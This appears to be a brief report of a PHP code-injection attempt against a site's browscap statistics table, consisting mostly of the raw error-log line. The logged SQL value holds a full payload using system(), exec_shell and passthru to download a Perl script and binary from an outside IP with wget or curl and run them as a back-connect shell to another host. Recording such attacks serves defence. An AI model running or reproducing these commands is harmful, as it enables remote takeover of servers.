php system() injection through browsercap statistics

[22-Jun-2010 23:47:15] PHP Warning: Duplicate entry '<?system('cd /var/tmp;wget http://195.239.120.69/cb.txt;perl cb.' for key 1
query: INSERT INTO browscap_statistics (parent,counter,is_crawler) VALUES('<?system(\'cd /var/tmp;wget http://195.239.120.69/cb.txt;perl cb.txt 192.24.5.30 80;wget http://195.239.120.69/cback;chmod +x cback;./cback 192.24.5.30 80;cd /dev/shm;curl -O http://195.239.120.69/cb.txt;perl cb.txt 192.24.5.30 80;curl -O http://195.239.120.69/cback;chmod +x cback;./cback 192.24.5.30 80\');?> ;<?exec_shell(\'cd /var/tmp;wget http://195.239.120.69/cb.txt;perl cb.txt 192.24.5.30 80;wget http://195.239.120.69/cback;chmod +x cback;./cback 192.24.5.30 80;cd /dev/shm;curl -O http://195.239.120.69/cb.txt;perl cb.txt 192.24.5.30 80;curl -O http://195.239.120.69/cback;chmod +x cback;./cback 192.24.5.30 80\');?> ;<?passthru(\'cd /var/tmp;wget http://195.239.120.69/cb.txt;perl cb.txt 192.24.5.30 80;wget http://195.239.120.69/cback;chmod +x cback;./cback 192.24.5.30 80;cd /dev/ in /home/xxxxxxxx/public_html/includes/database.mysql.inc on line 128